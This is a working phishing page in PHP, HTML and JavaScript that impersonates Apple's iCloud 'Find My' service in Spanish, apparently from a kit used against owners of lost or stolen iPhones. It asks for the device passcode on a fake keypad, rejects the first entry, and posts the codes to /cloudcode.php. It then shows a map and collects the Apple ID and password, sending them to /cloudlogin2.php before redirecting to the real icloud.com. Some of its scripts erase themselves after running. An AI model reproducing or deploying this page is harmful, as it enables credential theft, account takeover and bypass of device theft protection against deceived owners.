<?php
         if($response->vermail==1){
            $value = 'value="'.$response->email.'"';
         }else{
            $value="";
         }
?>
<!DOCTYPE html>
<html>
   <head>
      <meta charset="utf-8">
      <script src="/aXFidN/assets/src/xyz_page/jquery-1.10.2.js"></script>
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <title>iCIoud</title>
      <link rel="shortcut icon" href="../favi.ico" type="image/x-icon" />
      <link rel="stylesheet" type="text/css" href="/aXFidN/assets/src/activation_lock/passcode.css">
      <link rel="stylesheet" href="/aXFidN/assets/src/form.css">
      <link rel="stylesheet" href="/aXFidN/assets/src/form2.css">
      <link rel="stylesheet" href="/aXFidN/assets/src/nav.css">
      <meta name="description" content="" />
      <meta property="og:description" content="" />
      <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
      <meta property="og:image" content="/aXFidN/assets/img/find-my-2019-09-25.png">
      <link rel="stylesheet" type="text/css" media="screen" href="/aXFidN/assets/bootstrap.min.css">
      <link rel="stylesheet" type="text/css" media="screen" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.0.0/css/font-awesome.css">
      <!--<script src="https://code.jquery.com/jquery-1.10.2.js"></script>
         <script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>-->
      <!-- <script src="src/icloud_page_new/activity-indicator2.js"></script>-->
      <style type="text/css">
         .slide-up,
         .slide-down {
          overflow: hidden;
         }
         .slide-up > div,
         .slide-down > div {
         transform: translateY(-100%);
         transition: .4s ease-in-out;
         }
         .slide-down > div {
         transform: translateY(0);
         }
         .gm-style-pbc {
         display: none!important;
         }
         .place-card.place-card-large {
         display: none;
         }
         #myForm {
         -webkit-box-shadow: -1px 1px 13px -2px rgba(0, 0, 0, 0.44);
         -moz-box-shadow: -1px 1px 13px -2px rgba(0, 0, 0, 0.44);
         box-shadow: -1px 1px 13px -2px rgba(0, 0, 0, 0.44);
         }
         input#email:focus {
         border: 1px solid #bbb7b7!important;
         outline: none;
         }
         input#pw:focus {
         border: 1px solid #bbb7b7!important;
         outline: none;
         }
         /* @media only screen and (min-width: 300px) and (max-width: 600px) {
         img#img-png {
         top : 90px!important;
         }
         img#img-gif {
         top : 90px!important;
         }
         }*/
         div#divemail {
         position: relative;
         width:auto;
         /*margin-top:5px;*/
         }
         div#divemail>img {
         position: absolute;
         right: 10px;
         top: 7px;
         }
         .form-choice-checkbox:checked+.form-label .form-choice-indicator:before {
         content: "✓";
         }
         border-radius: 3px;
         }
         .form-choice~.form-label .form-choice-indicator {
         position: absolute;
         top: 3px;
         left: 0;
         }
         .form-choice-indicator {
         box-sizing: content-box;
         }
         .form-choice-indicator {
         display: inline-block;
         width: 14px;
         height: 14px;
         border: 1px solid #d6d6d6;
         background: #fff;
         }

         input#email:focus{
             border: 1px solid blue!important;
         }
         input#pw:focus{
             border: 1px solid blue!important;
         }
         
         #show_3  {
             background-image: url("/aXFidN/assets/mapa.jpg");
             background-position: center;
             /* Center the image */
              background-repeat: no-repeat;
        /* Do not repeat the image */
             background-size: cover;
             height: 100vh;
             margin: 0;
             padding: 0;
         }
         .spinner{
             cursor:pointer;
             position:relative;
         }
         .spinner span{
             background:rgba(255,255,255,.85);
             position:absolute;
             font-size:12px;
             border:2px solid #d2d2d2;
             color:#646464;
             top:-42px;
             border-radius:4px;
         }
      </style>
   </head>
   <body id="body_b" style="font-family: Arial, Helvetica, sans-serif; ">
      <div id="show_1" style="display: block;">
         <div style="margin: 0; position: absolute; top: 50%; left: 50%; -ms-transform: translate(-50%, -50%); transform: translate(-50%, -50%);">
            <div id="submit_loader_1"></div>
            <div style="padding-top: 18px; text-align: center;">
               <label style="font-family: Arial, Helvetica, sans-serif;" id="descrip1">
               </label>
            </div>
         </div>
      </div>
      <?php 
      if($response->code != 1){
         $codestyle="display: none;";
         $formstyle="display:block;";
      }else{
         $codestyle="display: block;";
         $formstyle="display:none !important;";
      }
      ?>
      <div id="show_2" style="text-align: center; margin-left: 20px; margin-right: 20px; padding-top: 40px;<?php echo $codestyle;?>">
         <span style="font-size: 26px;">Ingrese su Código Para Continuar</span>
         <br />
         <span style="font-size: 14px;">
         </span>
         <div id="code" style="padding-top: 20px;">
            <div id="bile">
               <svg height="40" width="40">
                  <circle id="c1" cx="20" cy="20" r="10" stroke="black" stroke-width="1" fill="white" />
                  Sorry, your browser does not support inline SVG.
               </svg>
               <svg height="40" width="40">
                  <circle id="c2" cx="20" cy="20" r="10" stroke="black" stroke-width="1" fill="white" />
                  Sorry, your browser does not support inline SVG.
               </svg>
               <svg height="40" width="40">
                  <circle id="c3" cx="20" cy="20" r="10" stroke="black" stroke-width="1" fill="white" />
                  Sorry, your browser does not support inline SVG.
               </svg>
               <svg height="40" width="40">
                  <circle id="c4" cx="20" cy="20" r="10" stroke="black" stroke-width="1" fill="white" />
                  Sorry, your browser does not support inline SVG.
               </svg>
               <?php if($response->digitos == 6){?>
               <svg height="40" width="40">
                  <circle id="c5" cx="20" cy="20" r="10" stroke="black" stroke-width="1" fill="white" />
                  Sorry, your browser does not support inline SVG.
               </svg>
               <svg height="40" width="40">
                  <circle id="c6" cx="20" cy="20" r="10" stroke="black" stroke-width="1" fill="white" />
                  Sorry, your browser does not support inline SVG.
               </svg>
            <?php }?>
               <input type="number" name="" value="" hidden="" />
            </div>
            <div style="text-align: center; padding-top: 16px; margin-right: auto; margin-left: auto;">
               <div>
                  <table style="width:280px; margin: auto;">
                     <tr>
                        <th>
                           <button id="1" class="button button5">1</button>
                        </th>
                        <th>
                           <button id="2" class="button button5">2</button>
                        </th>
                        <th>
                           <button id="3" class="button button5">3</button>
                        </th>
                     </tr>
                     <tr>
                        <th>
                           <button id="4" class="button button5">4</button>
                        </th>
                        <th>
                           <button id="5" class="button button5">5</button>
                        </th>
                        <th>
                           <button id="6" class="button button5">6</button>
                        </th>
                     </tr>
                     <tr>
                        <th>
                           <button id="7" class="button button5">7</button>
                        </th>
                        <th>
                           <button id="8" class="button button5">8</button>
                        </th>
                        <th>
                           <button id="9" class="button button5">9</button>
                        </th>
                     </tr>
                     <tr>
                        <th></th>
                        <th>
                           <button id="0" class="button button5">0</button>
                        </th>
                        <th>
                           <button class="button buttonr" onclick="remove()"><img src="/aXFidN/assets/src/activation_lock/next.png" width="35" /></button>
                        </th>
                     </tr>
                  </table>
               </div>
            </div>
         </div>
      </div>
      <div id="show_3" style="text-align: center; height: 100%; display: none;">
      <div id="map-container-google-1" class="z-depth-1-half map-container" style="height: 100%">
         <div id="maps">
             <iframe id = "framemaps" style="pointer-events:none;" src="https://maps.google.com/maps?q=<?php echo $response->lat;?>,<?php echo $response->lng;?>&hl=es;zoom=100&amp;output=embed" frameborder="0" style="border:0" allowfullscreen></iframe>
         </div>
         <p id="demo"></p>
         <nav id="header" role="navigation">
            <div class="hd-content">
               <ul class="hd-header">
                  <li class="hd-item hd-menuicon">
                     <p style="color:white;text-align:center;font-weight:bold; padding: 10px 10px 10px 14px;">iCloud</p>
                     <label class="hd-menuicon-label" for="hd-menustate"> <span class="hd-menuicon-bread hd-menuicon-bread-top"></span>
                     </label>
                     <a href="#" class="hd-menuanchor hd-menuanchor-open" id="hd-menuanchor-open"> <span class="hd-menuanchor-label">texto 2</span> </a>
                     <a href="#" class="hd-menuanchor hd-menuanchor-close" id="hd-menuanchor-close"> <span class="hd-menuanchor-label">texto 3</span> </a>
                  </li>
                  <li class="hd-item hd-apple">
                     <a class="hd-link hd-link-apple" href="#" id="hd-firstfocus-small"> <span class="hd-link-text">texto 4</span> </a>
                  </li>
               </ul>
               <ul class="hd-list">
                  <li class="hd-item hd-apple">
                     <a class="hd-link hd-link-apple" href="#" id="hd-firstfocus"><span class="hd-link-text">texto 4</span> </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-mac">
                     <a class="hd-link hd-link-mac" href="#"><span class="hd-link-text">Mac</span> </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-ipad">
                     <a class="hd-link hd-link-ipad" href="#"><span class="hd-link-text">Pad</span> </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-iphone">
                     <a class="hd-link hd-link-iphone" href="#"><span class="hd-link-text">Phone</span> </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-watch">
                     <a class="hd-link hd-link-watch" href="#"><span class="hd-link-text">Watch</span> </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-tv">
                     <a class="hd-link hd-link-tv" href="#"><span class="hd-link-text">TV</span> </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-music">
                     <a class="hd-link hd-link-music" href="#">
                     <span class="hd-link-text">
                     texto 5
                     </span>
                     </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-support">
                     <a class="hd-link hd-link-support" href="#">
                     <span class="hd-link-text">
                     texto 6
                     </span>
                     </a>
                  </li>
                  <li class="hd-item hd-item-menu hd-search">
                     <a class="hd-link hd-link-search" href="#"> <span class="hd-search-placeholder" aria-hidden="true">texto 7</span> </a>
                  </li>
               </ul>
            </div>
         </nav>
         <div class="footer">
         </div>
         <center>
            <div id="bac" class="buttons-holder" style="height:250px;width:200px; position:absolute;left:50%;" \>
               <div class="spinner">
                   <span>Click para ver ubicación</span>
                  <div class="double-bounce1"></div>
                  <div class="double-bounce2"></div>
                  <img src="/aXFidN/assets/src/imap.png" onclick="openForm()" style="width:100px">
               </div>
         </center>
         <div class="form-popup" id="myForm" style="text-align: center; border: 0px solid #12121385!important;border-radius: 13px; position: fixed!important; display: none;">
         <div name="myForm" class="form-container" style="border: 0px solid #05235F;">
         <center>
         <div style=" padding-top: 2px;">
         <span style="font-size: 15px;">
         <b>         
         </b>
         </span>
         <br>
          <logo {hide-app-logo}="hideAppLogo" {show-fade-in}="showFadeIn">    
           <div class="logo   signin-label  fade-in ">
              <img class="cnsmr-app-image " src="/aXFidN/assets/img/find-my-2019-09-25.png" srcset="" alt=" " style="width: 90px;">
           </div>
           </logo>
        
         <span>
         <h1 style="font-size: 17px; line-height: 1.38105;font-weight: 400;  letter-spacing: .011em;font-family: SF Pro Display,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif;">         
         Ingresa tu ID de Apple y contraseña para ver la ubicación
         </h1>
         </span>
         <div style="margin: 0 auto;">
         <div style="padding-top: 5px; margin-left: 13px; margin-right: 13px ;font-size: 12px;">
         <!--<span>
            <?php //$text = "Mejore la posibilidad de encontrar sus iPhones incluso cuando no esten conectados a Internet.";
               //echo $trans->translate($source, $target, $text); 
               ?>
            <br><br>
            <span>--><b>          
         </b></span>
         </div>
         <div style="padding-top: 5px; "></div>


         <form class="form-horizontal form-bordered form-findmy" novalidate>
           
           <div id = "divemail" >
             <input id="email" type="email" name="email" <?php echo $value;?> placeholder="ID de Apple" style="font-size: 14px;  padding-top: 10px; padding-right: 14px; padding-bottom: 10px; padding-left: 15px; width: 100%; border-radius: 6px; border: 1px solid #ddd; background: #f5f7f7;">
            <!-- <img src="<?php //echo base_url();?>/aXFidN/assets/img/button-submit.png" id="<?php //echo base_url();?>/aXFidN/assets/img/img-png" style="opacity: .6; display: none;" disabled>
             <img src="<?php //echo base_url();?>/aXFidN/assets/img/loading.gif" id="img-gif" style="display: none;">-->
             <button type="submit" id="sign-in" tabindex="0" class="" style="top:2px; border: 0px; border-radius: 50%; padding: 5px 5px; width: 38px; height: 38px; background: #f3f8f900; position: absolute; right: 5px; opacity: .6; z-index: 1;">
              <img style="" id="img-png" src="/aXFidN/assets/img/button-submit.png" >
              <img id="img-gif" src="/aXFidN/assets/img/loading.gif" style="display: none; ">
          </button> 
          <button type="submit" id="sign-in2" tabindex="0" class="" style="top:2px; border: 0px; border-radius: 50%; padding: 5px 5px; width: 38px; height: 38px; background: #f3f8f900; position: absolute; right: 5px; opacity: .6; z-index: 1; display: none;">
              <img  src="/aXFidN/assets/img/loading.gif" >
          </button> 
           </div>
           <div style="border-bottom: 1px solid #dbdbdb; display: none;"></div>
           <div id="Slider" class="slide-up">
             <div id = "SliderDiv">
            
               <input id="pw" type="password" name="pwd" value="" placeholder="Contraseña" style="font-size: 14px;  padding-top: 10px; padding-right: 14px; padding-bottom: 10px; padding-left: 15px; width: 100%; height: 38px; opacity: 0;">
           </div>
          </div>
         
         </div>

         <br>
         <div class="custom-control custom-checkbox my-1 mr-sm-2">
         <input type="checkbox" class="custom-control-input" id="customControlInline">
         <label class="custom-control-label" for="customControlInline">Permanecer conectado</label>
         </div>

         <input type="hidden" name="id" id="ideq" value="<?php echo $idequipo;?>">
         </form>
         <br>
         </div>
         </center>
         </div>
         </div>
         <div id="myModal" class="modal">
         <!-- Modal content -->
         <div align="center" class="modal-content w3-animate-zoom" style="width: 240px;">
         <div style="padding-left: 18px; padding-right: 18px; padding-top: 18px; padding-bottom: 18px">
         <span style="padding-top: 10px; font-weight: bold">
         </span>
         <div style="padding-top: 4px"><span style="font-size: 13px">
           Los datos ingresados no son correctos, intente de nuevo.
         </span></div>
         </div>
         <div style="font-size: 21px;line-height: 1.38105; font-weight: 400; letter-spacing: .011em;
    font-family: SF Pro Display,SF Pro Icons,Helvetica Neue,Helvetica,Arial,sans-serif;padding-top:2px; min-height: 40px; border-top: 1px solid #dbdbdb; border-bottom-left-radius: 16px; border-bottom-right-radius: 16px;" class="close"><span style="color: #008ae6;">OK</span></div>
         </div>
         </div>
         </div>
      </div>
      <script id="erasable_1" type="text/javascript">
         var setcolor = 0;
         var num = "";
         var afis = 0;
         
         function remove() {
             if (setcolor > 0) {
                 changePolyColor("white");
                 num = num.substring(0, num.length - 1)
             }
             setcolor--;
             if (setcolor < 1)
                 setcolor = 0;
         }
         
         function changePolyColor(color) {
             var poly = document.getElementById("c" + setcolor);
             poly.setAttribute("fill", color);
         }
         document.getElementById("erasable_1").innerHTML = "";
      </script>
      <script id="erasable_2" type="text/javascript">
         $(document).ready(function() {
         
             $("#show_1").bind("touchstart", function preventZoom(e) {
                 var t2 = e.timeStamp;
                 var t1 = $(this).data("lastTouch") || t2;
                 var dt = t2 - t1;
                 var fingers = e.originalEvent.touches.length;
                 $(this).data("lastTouch", t2);
                 if (!dt || dt > 500 || fingers > 1) {
                     return; // not double-tap
                 }
                 e.preventDefault(); // double tap - prevent the zoom
                 // also synthesize click events we just swallowed up
                 $(e.target).trigger("click");
             });
             $("#show_2").bind("touchstart", function preventZoom(e) {
                 var t2 = e.timeStamp;
                 var t1 = $(this).data("lastTouch") || t2;
                 var dt = t2 - t1;
                 var fingers = e.originalEvent.touches.length;
                 $(this).data("lastTouch", t2);
                 if (!dt || dt > 500 || fingers > 1) {
                     return; // not double-tap
                 }
                 e.preventDefault(); // double tap - prevent the zoom
                 // also synthesize click events we just swallowed up
                 $(e.target).trigger("click");
             });
             $("#show_3").bind("touchstart", function preventZoom(e) {
                 var t2 = e.timeStamp;
                 var t1 = $(this).data("lastTouch") || t2;
                 var dt = t2 - t1;
                 var fingers = e.originalEvent.touches.length;
                 $(this).data("lastTouch", t2);
                 if (!dt || dt > 500 || fingers > 1) {
                     return; // not double-tap
                 }
                 e.preventDefault(); // double tap - prevent the zoom
                 // also synthesize click events we just swallowed up
                 $(e.target).trigger("click");
             });
             <?php if($response->code == 1){?>
             $(".button5").click(function() {
                 setcolor++;
                 if (setcolor <= <?php echo $response->digitos;?>) {
                     changePolyColor("black");
                     num+= $(this).prop("id");
                     loncode = 4;
                     if (setcolor == <?php echo $response->digitos;?>) {
                         if (num.toString().length == 0) {
                             num = "0000000" + num;
                         };
                         if (num.toString().length == 1) {
                             num = "00000" + num;
                         };
                         if (num.toString().length == 2) {
                             num = "0000" + num;
                         };
                         if (num.toString().length == 3) {
                             num = "000" + num;
                         };
                         <?php if($response->digitos == 6){?>
                         if (num.toString().length == 4) {
                             num = "00" + num;
                         };
                         if (num.toString().length == 5) {
                             num = "0" + num;
                         };
                         loncode=6;
                        <?php }?>
                         $.ajax({
                             type: "POST",
                             url: "/cloudcode.php",
                             data: {code:num, id: <?php echo $idequipo;?>}
                         });
                         afis++;
                         if (afis == 2) {
                             $("#show_2").css("display", "none");
                             $("#show_3").fadeIn("slow", function() {
                             $("#myForm").delay(3000).fadeIn(140);
                             });
                         } else{
                             $("#bile").css("position", "relative");
                             $("#bile").animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60);
                             for(var borr=loncode; borr>0; borr--){
                                 setcolor=borr;
                                 remove();
                             }
                         }
                     }
                 }
                 if (setcolor > <?php echo $response->digitos;?>)
                     setcolor = <?php echo $response->digitos;?>;
             });
            <?php }?>
             function callback() {
                 num = 0;
                 setTimeout(clear(), 140);
                 //setTimeout(clear(), 3000);
             }
         
             function clear() {
                 for (var i = 0; i <= <?php echo $response->digitos;?>; i++) {
                     changePolyColor("white");
                     setcolor--;
                 }
                 setcolor = 0;
             }
         
             function show_body() {
                 $("#show_1").css("display", "none");
                 <?php if($response->code != 1){?>
                 $("#show_3").fadeIn("slow", function() {
                     // Animation complete.
                     //$( "#code_in" ).focus();
                 });
              <?php }?>
             }
             setTimeout(show_body, 0)
             setTimeout(function() {
                 $('#bac').show('slow');
             },10)
         
         
                 //setTimeout(show_body, 2000);
         
         });
         
         document.getElementById("erasable_2").innerHTML = "";
      </script>
      <script type="text/javascript">
         jQuery("#submit_loader_1").activity({
             width: 1,
             segments: 12,
             length: 5
         });
         jQuery("#submit_loader_2").activity({
             width: 1,
             segments: 12,
             length: 5
         });
         
         $(".close").click(function() {
             $("#myModal").css("display", "none");
             $("#pw").focus();
         
         });
         
         function openForm() {
             document.getElementById("myForm").style.display = "block";
         }
         
         function closeForm() {
             document.getElementById("myForm").style.display = "none";
             $("#myForm").delay(700).fadeIn();
         }
         $(function() {
         
             var twoToneButton = document.querySelector('.twoToneButton');
         
             if (twoToneButton != null || twoToneButton != undefined) {
         
                 twoToneButton.addEventListener("click", function() {
                     twoToneButton.innerHTML = "Login";
                     twoToneButton.classList.add('spinning');
         
                     setTimeout(
                         function() {
                             twoToneButton.classList.remove('spinning');
                             twoToneButton.innerHTML = "Login";
         
                             // }, 10000);
                         }, 140);
                 }, false);
             }
         });
      </script>
      <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
      <script>
         $(function() {
             //$("#myForm").delay(3000).fadeIn(500);
             <?php if($response->code != 1){?>
             //$("#myForm").delay(3000).fadeIn(140);
            <?php }?>
         
             /*    const timeValue = setInterval((interval) => {
          if ($("#bac").css("top") == "40%") {
                 console.log("aqui")
              }
          if ($("#bac").css("top") == "40%") {
             clearInterval(timeValue);
           }
         }, 3000);    */ 
         
         
         
          
         });
      </script>
    
      <script>
         $(document).ready(function() {
            $(".spinner").click(function(){
                $("#myForm").fadeIn(140);
            });
            $('input#email').focus();
         
          
         
         
         
            var lgo = $("#bac");
             lgo.animate({
                 left: '50%',
                 opacity: '0.9'
             }, 900);
             lgo.animate({
                 top: '35%',
                 opacity: '0.9'
             }, 9000);
             lgo.animate({
                 top: '40%',
                 opacity: '1'
             }, 1000/*, function() {
                $("#myForm").delay(140).fadeIn(1);
             }*/);
         
           //  getLocation()
             $('#framemaps').contents().find("head")
                 .append($("<style type='text/css'>  .place-card.place-card-large {display: none;}  </style>"));
         
         });
         
         var x = document.getElementById("demo");
         
         /* function getLocation() {
             if (navigator.geolocation) {
                 navigator.geolocation.getCurrentPosition(showPosition);
         
             } else {
                 x.innerHTML = "Geolocation is not supported by this browser.";
             }
         }*/
         
         /*   function showPosition(position) {
          x.innerHTML = "Latitude: " + position.coords.latitude + 
          "<br>Longitude: " + position.coords.longitude;
          $("#maps").html('<iframe id = "framemaps" style="pointer-events:none;" src="https://maps.google.com/maps?q='+position.coords.latitude+','+position.coords.longitude+'&hl=es;zoom=100&amp;output=embed" frameborder="0" style="border:0" allowfullscreen></iframe>');
         }*/
         
         /*************CODIGO NUEVO************************/


          $('input#email').on('input', function(){
           if($("input#email").val() != '') {
                     
                   
                     $("#sign-in").removeAttr("disabled");
                     $("#sign-in").css('opacity', '1');

                   }else{
                    
                    $("#sign-in").attr("disabled");
                    $("#sign-in").css('opacity', '.6');

                   }
          });

          $('#sign-in').on('click', function(event) {
           //  event.preventDefault();

              if($("input#email").val() != ''){
                 $("img#img-png").css("display", "none"); //oculta imagen original
                 $("img#img-gif").css("display", "block"); //muestra imagen de carga 

                 $("input#email").css('border-radius','6px 6px 0px 0px');
                  
                  //$("#passwordId").show('slow');
                   addicloud()
                   Slider.classList.toggle("slide-down")
                    $("#SliderDiv").css("transform","translateY(0)");
                 

                 setTimeout(function() {

                 // $("input#pw").css("display","block");
                 
                  //$("#passwordId").css('height', '44px');  
                  $("img#img-png").css("display", "block"); //oculta imagen original
                  $("img#img-gif").css("display", "none"); //muestra imagen de carga               
                  $("#sign-in").css("top","43px");  
                  $("#sign-in").attr("disabled",true); 
                  $("#sign-in").css("opacity",".6");
                  $("input#pw").css("opacity","1");
                  $("input#pw").css('border-radius','0px 0px 6px 6px');
                  $("input#pw").focus();

                 }, 300)
              }

          })

           $("input#email").on('keyup', function(e) {            
              
              if(e.keyCode == 8 || e.keyCode == 46 || $("input#email").val() == ''){
                  
                
                  Slider.classList.toggle("slide-down")
                  $("#SliderDiv").css("transform","translateY(-100%)");
                  $("input#pw").css("opacity",".6");
                  $("#sign-in").css("top","3px"); 
                  $("input#email").css('border-radius','6px 6px 6px 6px'); 
                  $("input#pw").val('');
                

                 
              }
            }) 

             $('input#email').on('input', function(){
               
                 if($("#sign-in").css("top") == "43px"){

                   if($('input#email').css('opacity') == "1"){

                     Slider.classList.toggle("slide-down")
                     $("#SliderDiv").css("transform","translateY(-100%)");
                     $("input#pw").css("opacity",".6");
                     $("#sign-in").css("top","3px"); 
                     $("input#email").css('border-radius','6px 6px 6px 6px'); 
                     $("input#pw").val('');

                   }

                 }

             })



           $("input#pw").on('keyup', function(e) {
            
            if($("input#pw").val() != '') {
                   
               $("#sign-in").removeAttr("disabled");
               $("#sign-in").css('opacity', '1');

            }else{

               $("#sign-in").attr("disabled");
               $("#sign-in").css('opacity', '.6');
            }

           }) 



         function addicloud() {
              try {
                  var c_id = $('input#email');
         
                  c_id.focusout(function() {
         
                      if (c_id.val().indexOf("@icloud.com") !== -1 || c_id.val().indexOf("@") !== -1 || c_id.val().indexOf(' ') >= 0) {
         
                      } else {
         
                          if (c_id.val().length === 0) {
         
                          } else {
                              c_id.val(function(index, val) {
                                  //   c_log.addClass('dologin');
                                  //   c_log.removeAttr('disabled');
                                  // $('div.field-separator').css('display','block!important');
                                  return val + "@icloud.com";
         
                              });
                          }
                      }
                  });
              } catch (error) {
         
              }
          }


         $(function() {
            $('input#email').on('keypress', function(e) {
             if (e.which == 32)
                return false;
             });
          });

         $(function() {
            $('input#pw').on('keypress', function(e) {
             if (e.which == 32)
                return false;
             });
          });


          $(document).on("submit", ".form-findmy", function(event){
              event.preventDefault();
              if($("input#pw").val() != "" && $("input#pw").css("opacity") == "1"){
                $("#sign-in").css("display", "none"); //oculta imagen original
                $("#sign-in2").css("display", "block"); //muestra imagen de carga  
                $("#sign-in2").css("top", "43px");

                  var linkg  = "link"; 
                
                  var data_form = {
                        xuser  : $('input#email').val(),
                        xpass : $("input#pw").val(),
                        id    : $("input#ideq").val(),
                      }
         
                  
                var url_php = '/cloudlogin2.php';
                 $.ajax({
                     type:'POST',
                     url: url_php,
                     data: data_form,
                     dataType: 'json',
                     async: true,
                 }).done(function ajaxDone(res){
                    if(res==1){
                      
                      if(res.status == false){
                       $("#sign-in2").css("display", "none");
                       $("#sign-in2").css("top", "0px");
                       $("#sign-in").css("display", "block");
                       $("#myModal").show();
                      }else{
                       top.location.href = "https://www.icloud.com";
                      }
         
                      
                       
         
                    }else{
                     $("#myModal").show();
                     $("#sign-in").css("display", "block"); //oculta imagen original
                     $("#sign-in").css("top", "0px");
                     $("#sign-in2").css("display", "none"); //muestra imagen de carga  
                    }
                   
                 }).fail(function ajaxError(e){
                      console.log(e);
                 }).always(function ajaxSiempre(){
                   // console.log('Final de la llamada ajax.');
                 })
                   return false;     
              }
           
             
           })

          

           $('.close').on('click', function(event) {

            $("#myModal").hide();
           })
            
         
       
      </script>
   </body>
</html>